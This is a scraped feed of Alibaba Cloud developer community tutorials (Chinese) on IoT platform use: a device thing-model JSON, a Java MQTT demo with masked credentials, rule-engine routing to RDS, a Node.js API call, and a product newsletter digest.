                <span class="hljs-string">"dataType"</span>: {
                  <span class="hljs-string">"type"</span>: <span class="hljs-string">"enum"</span>,
                  <span class="hljs-string">"specs"</span>: {
                    <span class="hljs-string">"1"</span>: <span class="hljs-string">"WGS_84"</span>,
                    <span class="hljs-string">"2"</span>: <span class="hljs-string">"GCJ_02"</span>
                  }
                }
              }
            ]
          }
        },
        {
          <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentHumidity"</span>,
          <span class="hljs-string">"name"</span>: <span class="hljs-string">"湿度"</span>,
          <span class="hljs-string">"accessMode"</span>: <span class="hljs-string">"rw"</span>,
          <span class="hljs-string">"required"</span>: <span class="hljs-literal">false</span>,
          <span class="hljs-string">"dataType"</span>: {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
            <span class="hljs-string">"specs"</span>: {
              <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
              <span class="hljs-string">"max"</span>: <span class="hljs-string">"100"</span>,
              <span class="hljs-string">"unit"</span>: <span class="hljs-string">"%"</span>,
              <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"百分比"</span>,
              <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
            }
          }
        },
        {
          <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentTemperature"</span>,
          <span class="hljs-string">"name"</span>: <span class="hljs-string">"温度"</span>,
          <span class="hljs-string">"accessMode"</span>: <span class="hljs-string">"rw"</span>,
          <span class="hljs-string">"required"</span>: <span class="hljs-literal">false</span>,
          <span class="hljs-string">"dataType"</span>: {
            <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
            <span class="hljs-string">"specs"</span>: {
              <span class="hljs-string">"min"</span>: <span class="hljs-string">"-40"</span>,
              <span class="hljs-string">"max"</span>: <span class="hljs-string">"120"</span>,
              <span class="hljs-string">"unit"</span>: <span class="hljs-string">"℃"</span>,
              <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"摄氏度"</span>,
              <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
            }
          }
        }

        ],
        "events": [

        {
          <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"post"</span>,
          <span class="hljs-string">"name"</span>: <span class="hljs-string">"post"</span>,
          <span class="hljs-string">"type"</span>: <span class="hljs-string">"info"</span>,
          <span class="hljs-string">"required"</span>: <span class="hljs-literal">true</span>,
          <span class="hljs-string">"desc"</span>: <span class="hljs-string">"属性上报"</span>,
          <span class="hljs-string">"method"</span>: <span class="hljs-string">"thing.event.property.post"</span>,
          <span class="hljs-string">"outputData"</span>: [
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"GeoLocation"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"地理位置"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"struct"</span>,
                <span class="hljs-string">"specs"</span>: [
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Longitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"经度"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"-180"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"180"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Latitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"纬度"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"-90"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"90"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Altitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"海拔"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"9999"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"m"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"米"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CoordinateSystem"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"坐标系统"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"enum"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"1"</span>: <span class="hljs-string">"WGS_84"</span>,
                        <span class="hljs-string">"2"</span>: <span class="hljs-string">"GCJ_02"</span>
                      }
                    }
                  }
                ]
              }
            },
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentHumidity"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"湿度"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                <span class="hljs-string">"specs"</span>: {
                  <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                  <span class="hljs-string">"max"</span>: <span class="hljs-string">"100"</span>,
                  <span class="hljs-string">"unit"</span>: <span class="hljs-string">"%"</span>,
                  <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"百分比"</span>,
                  <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                }
              }
            },
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentTemperature"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"温度"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                <span class="hljs-string">"specs"</span>: {
                  <span class="hljs-string">"min"</span>: <span class="hljs-string">"-40"</span>,
                  <span class="hljs-string">"max"</span>: <span class="hljs-string">"120"</span>,
                  <span class="hljs-string">"unit"</span>: <span class="hljs-string">"℃"</span>,
                  <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"摄氏度"</span>,
                  <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                }
              }
            }
          ]
        }

        ],
        "services": [

        {
          <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"set"</span>,
          <span class="hljs-string">"name"</span>: <span class="hljs-string">"set"</span>,
          <span class="hljs-string">"required"</span>: <span class="hljs-literal">true</span>,
          <span class="hljs-string">"callType"</span>: <span class="hljs-string">"async"</span>,
          <span class="hljs-string">"desc"</span>: <span class="hljs-string">"属性设置"</span>,
          <span class="hljs-string">"method"</span>: <span class="hljs-string">"thing.service.property.set"</span>,
          <span class="hljs-string">"inputData"</span>: [
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"GeoLocation"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"地理位置"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"struct"</span>,
                <span class="hljs-string">"specs"</span>: [
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Longitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"经度"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"-180"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"180"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Latitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"纬度"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"-90"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"90"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Altitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"海拔"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"9999"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"m"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"米"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CoordinateSystem"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"坐标系统"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"enum"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"1"</span>: <span class="hljs-string">"WGS_84"</span>,
                        <span class="hljs-string">"2"</span>: <span class="hljs-string">"GCJ_02"</span>
                      }
                    }
                  }
                ]
              }
            },
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentHumidity"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"湿度"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                <span class="hljs-string">"specs"</span>: {
                  <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                  <span class="hljs-string">"max"</span>: <span class="hljs-string">"100"</span>,
                  <span class="hljs-string">"unit"</span>: <span class="hljs-string">"%"</span>,
                  <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"百分比"</span>,
                  <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                }
              }
            },
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentTemperature"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"温度"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                <span class="hljs-string">"specs"</span>: {
                  <span class="hljs-string">"min"</span>: <span class="hljs-string">"-40"</span>,
                  <span class="hljs-string">"max"</span>: <span class="hljs-string">"120"</span>,
                  <span class="hljs-string">"unit"</span>: <span class="hljs-string">"℃"</span>,
                  <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"摄氏度"</span>,
                  <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                }
              }
            }
          ],
          <span class="hljs-string">"outputData"</span>: []
        },
        {
          <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"get"</span>,
          <span class="hljs-string">"name"</span>: <span class="hljs-string">"get"</span>,
          <span class="hljs-string">"required"</span>: <span class="hljs-literal">true</span>,
          <span class="hljs-string">"callType"</span>: <span class="hljs-string">"async"</span>,
          <span class="hljs-string">"desc"</span>: <span class="hljs-string">"属性获取"</span>,
          <span class="hljs-string">"method"</span>: <span class="hljs-string">"thing.service.property.get"</span>,
          <span class="hljs-string">"inputData"</span>: [
            <span class="hljs-string">"GeoLocation"</span>,
            <span class="hljs-string">"CurrentHumidity"</span>,
            <span class="hljs-string">"CurrentTemperature"</span>
          ],
          <span class="hljs-string">"outputData"</span>: [
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"GeoLocation"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"地理位置"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"struct"</span>,
                <span class="hljs-string">"specs"</span>: [
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Longitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"经度"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"-180"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"180"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Latitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"纬度"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"-90"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"90"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"°"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"度"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"Altitude"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"海拔"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                        <span class="hljs-string">"max"</span>: <span class="hljs-string">"9999"</span>,
                        <span class="hljs-string">"unit"</span>: <span class="hljs-string">"m"</span>,
                        <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"米"</span>,
                        <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                      }
                    }
                  },
                  {
                    <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CoordinateSystem"</span>,
                    <span class="hljs-string">"name"</span>: <span class="hljs-string">"坐标系统"</span>,
                    <span class="hljs-string">"dataType"</span>: {
                      <span class="hljs-string">"type"</span>: <span class="hljs-string">"enum"</span>,
                      <span class="hljs-string">"specs"</span>: {
                        <span class="hljs-string">"1"</span>: <span class="hljs-string">"WGS_84"</span>,
                        <span class="hljs-string">"2"</span>: <span class="hljs-string">"GCJ_02"</span>
                      }
                    }
                  }
                ]
              }
            },
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentHumidity"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"湿度"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                <span class="hljs-string">"specs"</span>: {
                  <span class="hljs-string">"min"</span>: <span class="hljs-string">"0"</span>,
                  <span class="hljs-string">"max"</span>: <span class="hljs-string">"100"</span>,
                  <span class="hljs-string">"unit"</span>: <span class="hljs-string">"%"</span>,
                  <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"百分比"</span>,
                  <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                }
              }
            },
            {
              <span class="hljs-string">"identifier"</span>: <span class="hljs-string">"CurrentTemperature"</span>,
              <span class="hljs-string">"name"</span>: <span class="hljs-string">"温度"</span>,
              <span class="hljs-string">"dataType"</span>: {
                <span class="hljs-string">"type"</span>: <span class="hljs-string">"double"</span>,
                <span class="hljs-string">"specs"</span>: {
                  <span class="hljs-string">"min"</span>: <span class="hljs-string">"-40"</span>,
                  <span class="hljs-string">"max"</span>: <span class="hljs-string">"120"</span>,
                  <span class="hljs-string">"unit"</span>: <span class="hljs-string">"℃"</span>,
                  <span class="hljs-string">"unitName"</span>: <span class="hljs-string">"摄氏度"</span>,
                  <span class="hljs-string">"step"</span>: <span class="hljs-string">"0.01"</span>
                }
              }
            }
          ]
        }

        ]
        }


        _


        2、设备端通过开源MQTT SDK上传数据,基于开源JAVA MQTT Client连接阿里云IoT


        import com.alibaba.taro.AliyunIoTSignUtil;
        import org.eclipse.paho.client.mqttv3.*;
        import org.eclipse.paho.client.mqttv3.persist.MemoryPersistence;
        import java.util.HashMap;
        import java.util.Map;

        public class IoTDemoPubSubDemo {

        <span class="hljs-comment">// 设备三元组信息</span>
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> productKey = <span class="hljs-string">"a1kVH******"</span>;
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> deviceName = <span class="hljs-string">"device1"</span>;
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> deviceSecret = <span class="hljs-string">"XADek3EYXzzTtxJ6a****************"</span>;
        public <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> regionId = <span class="hljs-string">"cn-shanghai"</span>;
        
        <span class="hljs-comment">// 物模型-属性上报topic</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> pubTopic = <span class="hljs-string">"/sys/"</span> + productKey + <span class="hljs-string">"/"</span> + deviceName + <span class="hljs-string">"/thing/event/property/post"</span>;
        <span class="hljs-comment">// 物模型-属性订阅topic</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-built_in">String</span> subTopic = <span class="hljs-string">"/sys/"</span> + productKey + <span class="hljs-string">"/"</span> + deviceName + <span class="hljs-string">"/thing/service/property/set"</span>;
        private <span class="hljs-keyword">static</span> MqttClient mqttClient;
        
        public <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> main(<span class="hljs-built_in">String</span> [] args){
        
            initAliyunIoTClient();
            <span class="hljs-comment">// 汇报属性</span>
            postDeviceProperties();
            <span class="hljs-keyword">try</span> {
                mqttClient.subscribe(subTopic); <span class="hljs-comment">// 订阅Topic</span>
            } <span class="hljs-keyword">catch</span> (MqttException e) {
                System.out.println(<span class="hljs-string">"error:"</span> + e.getMessage());
                e.printStackTrace();
            }
        
            <span class="hljs-comment">// 设置订阅监听</span>
            mqttClient.setCallback(<span class="hljs-keyword">new</span> MqttCallback() {
                @Override
                public <span class="hljs-keyword">void</span> connectionLost(Throwable throwable) {
                    System.out.println(<span class="hljs-string">"connection Lost"</span>);
                }
        
                @Override
                public <span class="hljs-keyword">void</span> messageArrived(<span class="hljs-built_in">String</span> s, MqttMessage mqttMessage) throws Exception {
                    System.out.println(<span class="hljs-string">"Sub message"</span>);
                    System.out.println(<span class="hljs-string">"Topic : "</span> + s);
                    System.out.println(<span class="hljs-keyword">new</span> <span class="hljs-built_in">String</span>(mqttMessage.getPayload())); <span class="hljs-comment">//打印输出消息payLoad</span>
                }
        
                @Override
                public <span class="hljs-keyword">void</span> deliveryComplete(IMqttDeliveryToken iMqttDeliveryToken) {
        
                }
            });
        
        }
        
        <span class="hljs-comment">/**
         * 初始化 Client 对象
         */</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> initAliyunIoTClient() {
        
            <span class="hljs-keyword">try</span> {
                <span class="hljs-comment">// 构造连接需要的参数</span>
                <span class="hljs-built_in">String</span> clientId = <span class="hljs-string">"java"</span> + System.currentTimeMillis();
                <span class="hljs-built_in">Map</span>&lt;<span class="hljs-built_in">String</span>, <span class="hljs-built_in">String</span>&gt; params = <span class="hljs-keyword">new</span> HashMap&lt;&gt;(<span class="hljs-number">16</span>);
                params.put(<span class="hljs-string">"productKey"</span>, productKey);
                params.put(<span class="hljs-string">"deviceName"</span>, deviceName);
                params.put(<span class="hljs-string">"clientId"</span>, clientId);
                <span class="hljs-built_in">String</span> timestamp = <span class="hljs-built_in">String</span>.valueOf(System.currentTimeMillis());
                params.put(<span class="hljs-string">"timestamp"</span>, timestamp);
                <span class="hljs-comment">// cn-shanghai</span>
                <span class="hljs-built_in">String</span> targetServer = <span class="hljs-string">"tcp://"</span> + productKey + <span class="hljs-string">".iot-as-mqtt."</span>+regionId+<span class="hljs-string">".aliyuncs.com:1883"</span>;
        
                <span class="hljs-built_in">String</span> mqttclientId = clientId + <span class="hljs-string">"|securemode=3,signmethod=hmacsha1,timestamp="</span> + timestamp + <span class="hljs-string">"|"</span>;
                <span class="hljs-built_in">String</span> mqttUsername = deviceName + <span class="hljs-string">"&amp;"</span> + productKey;
                <span class="hljs-built_in">String</span> mqttPassword = AliyunIoTSignUtil.sign(params, deviceSecret, <span class="hljs-string">"hmacsha1"</span>);
        
                connectMqtt(targetServer, mqttclientId, mqttUsername, mqttPassword);
        
            } <span class="hljs-keyword">catch</span> (Exception e) {
                System.out.println(<span class="hljs-string">"initAliyunIoTClient error "</span> + e.getMessage());
            }
        }
        
        public <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> connectMqtt(<span class="hljs-built_in">String</span> url, <span class="hljs-built_in">String</span> clientId, <span class="hljs-built_in">String</span> mqttUsername, <span class="hljs-built_in">String</span> mqttPassword) throws Exception {
        
            MemoryPersistence persistence = <span class="hljs-keyword">new</span> MemoryPersistence();
            mqttClient = <span class="hljs-keyword">new</span> MqttClient(url, clientId, persistence);
            MqttConnectOptions connOpts = <span class="hljs-keyword">new</span> MqttConnectOptions();
            <span class="hljs-comment">// MQTT 3.1.1</span>
            connOpts.setMqttVersion(<span class="hljs-number">4</span>);
            connOpts.setAutomaticReconnect(<span class="hljs-literal">false</span>);

        // connOpts.setCleanSession(true);

            connOpts.setCleanSession(<span class="hljs-literal">false</span>);
        
            connOpts.setUserName(mqttUsername);
            connOpts.setPassword(mqttPassword.toCharArray());
            connOpts.setKeepAliveInterval(<span class="hljs-number">60</span>);
        
            mqttClient.connect(connOpts);
        }
        
        <span class="hljs-comment">/**
         * 汇报属性
         */</span>
        private <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> postDeviceProperties() {
        
            <span class="hljs-keyword">try</span> {
                System.out.println(<span class="hljs-string">"上报属性值"</span>);
                <span class="hljs-built_in">String</span> payloadJson = <span class="hljs-string">"{"params":{"CurrentHumidity":12.3,"CurrentTemperature":12.3,"GeoLocation":{"CoordinateSystem":1,"Latitude":29.93089,"Longitude":121.59923,"Altitude":10}}}"</span>;
                <span class="hljs-comment">// https://yq.aliyun.com/articles/706989</span>
                MqttMessage message = <span class="hljs-keyword">new</span> MqttMessage(payloadJson.getBytes(<span class="hljs-string">"utf-8"</span>));
                message.setQos(<span class="hljs-number">1</span>);
                mqttClient.publish(pubTopic, message);
            } <span class="hljs-keyword">catch</span> (Exception e) {
                System.out.println(e.getMessage());
            }
        }

        }


        payLoad设备参考链接


        3、属性上报情况查看


        _


        4、通过物联网数据分析中的二维数据可视化功能,接入设备位置到地图


        _


        _


        _


        5、物联网数据分析通过SQL将数据下发至设备




        • 5.1 查询数据
          _

        _


        _


        • 5.2 使用SQL下发数据

        insert into ${pk.a1kVH.device1} select 53.3 as CurrentHumidity;  -- 导入数据到表,下发数据到设备

        _


        • 5.3 设备端订阅情况

        上报属性值
        Sub message
        Topic : /sys/a1kVH/device1/thing/service/property/set
        {"method":"thing.service.property.set","id":"419651605","params":{"CurrentHumidity":53.3},"version":"1.0.0"}



        参考链接


        快速接入设备位置到地图
        数据开发之分析决策直达设备

        ]]>
        阿里云物联网平台设备上下线信息通过规则引擎流转到RDS示例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        阿里云物联网平台数据流转Topic:/as/mqtt/status/{productKey}/{deviceName} 获取设备的上下线状态。这里演示如何将设备的上下线信息通过规则引擎将消息流转到RDS数据库。


        Step By Step


        1、产品、设备创建及SDK连接


        基于开源JAVA MQTT Client连接阿里云IoT
        阿里云物联网平台Qucik Start


        2、创建表


        /------- CREATE SQL---------/
        CREATE TABLE onlineoffline (
        deviceName text,
        status text,
        time datetime DEFAULT NULL,
        productKey text
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8

        3、规则引擎配置


        • 3.1 处理数据

        _


        • 3.2 转发数据

        _
        _


        注意:配置完规则引擎后务必启动。

        4、流转数据查看


        • 4.1 日志查询

        _


        • 4.2 数据库查询

        _


        更多参考


        数据转发到云数据库RDS

        ]]>
        阿里云物联网平台IoT Studio调用数据分析API示例-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        作者:俏巴

        概述


        前面在博客阿里云物联网平台数据分析API调用介绍了如何使用SDK调用数据分析开发的API,本文主要介绍如何在IoT Sudio Web可视化和服务开发中如果调用数据分析API。


        Step By Step


        1、创建数据开发


        使用示例


        注意:查询车位使用状态SQL 当前文档还不完善,后续会更新。

        2、查询停车场使率SQL API创建


        • 2.1 测试运行SQL

        _


        • 2.2 创建及发布API

        _
        _
        _
        _
        _


        3、服务开发中对API的调用


        • 3.1 模块及参数配置

        _


        _


        _




        • 3.2 NodeJS节点脚本

        /**
        @param {Object} payload 上一节点的输出@param {Object} node 指定某个节点的输出@param {Object} query 服务流第一个节点的输出@param {Object} context { appKey, appSecret }
        */

        module.exports = async function(payload, node, query, context) {

        console.log("payload: ", payload);

        const Core = require('@alicloud/pop-core');

        <span class="hljs-keyword">var</span> client = <span class="hljs-keyword">new</span> Core({
          accessKeyId: <span class="hljs-string">'LTAIOZZg********'</span>,
          accessKeySecret: <span class="hljs-string">'v7CjUJCMk7j9aKduMAQLjy********'</span>,
          endpoint: <span class="hljs-string">'https://iot.cn-shanghai.aliyuncs.com'</span>,
          apiVersion: <span class="hljs-string">'2018-01-20'</span>
        });
        
        <span class="hljs-keyword">var</span> params = {
          <span class="hljs-string">"RegionId"</span>: <span class="hljs-string">"cn-shanghai"</span>,
          <span class="hljs-string">"ApiSrn"</span>: <span class="hljs-string">"acs:iot:*:18482178********:serveapi/getrate"</span>
        }
        
        <span class="hljs-keyword">var</span> requestOption = {
          method: <span class="hljs-string">'POST'</span>
        };
        
        result1 = client.request(<span class="hljs-string">'InvokeDataAPIService'</span>, params, requestOption);
        <span class="hljs-keyword">return</span> result1;

        }


        • 3.3 部署调试

        _




        4 Web 可视化工具中使用API


        注意:之前必须要在服务开发中使用上述方式封装后才能调用,现在支持直接调用数据分析API

        • 4.1 为文本空间配置数据源

        _


        _


        • 4.2 设置过滤脚本

        _


        function _filter(data) {
        // do something...
        return data.data[0].usage_ratio;
        }

        • 4.3 预览测试

        _


        参考链接


        阿里云物联网平台数据分析API调用
        阿里云数据分析最佳实践:二维数据可视化 + 设备数据下发

        ]]>
        阿里云新品发布会周刊第47期 丨 加入阿里技术团队三年,哪些习惯让我在工作上持续受益? -阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

        新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多新品发布会!

        热门阅读

        1、加入阿里技术团队三年,哪些习惯让我在工作上持续受益?
        9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

        根据工作经验和观察身边优秀的同事,我发现优良的工作习惯是区别一般工程师和专家工程师的重要素质。想要提升自己,必须要认识到哪些工作习惯会拖延工作效率,提升项目复杂度,增加沟通难度,甚至让合作伙伴失望,然后改正它们。刻意练习那些被证明有效实用的工作方式,成为习惯。 查看原文

        2、当打之年,非你莫属——阿里云 MVP第12期全球发布
        9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg
        阿里巴巴董事会主席兼首席执行官张勇认为:如今,5G网络、工业互联网、物联网等网络基础、数据中心等数字基础、人工智能等运算基础,成为必要而普遍的新型基础设施。加快“新基建”进度,不是简单的基础设施建设,而是与产业化应用协调推进,既能增强基建稳增长的传统属性,又可以助推创新和拓展新消费、新制造、新服务。 查看原文

        3、五分钟学后端技术:一篇文章告诉你什么是云计算!

        早在十年前,市场上就出现了很多和云计算相关的岗位,当时正是云计算技术最火热的时代,不管是BAT还是华为等企业都开始布局云计算,于是OpenStack研发、容器研发、底层开发等相关岗位相应地也越来越多,虽然这几年大数据和AI的风头已经完全压过了云计算,但是这一门技术仍然在现如今的技术体系中占有很重要的位置。那么,到底什么是云计算,就是我们每一个要学习云计算技术的朋友要了解的事情了。 查看原文

        精品直播

        第88期:分析型数据库AnalyticDB for MySQL基础版重磅发布

        直播时间:2020年4月8日 15:00-16:00 预约观看
        TB1JzgxAHj1gK0jSZFuXXcrHpXa-780-388.jpg
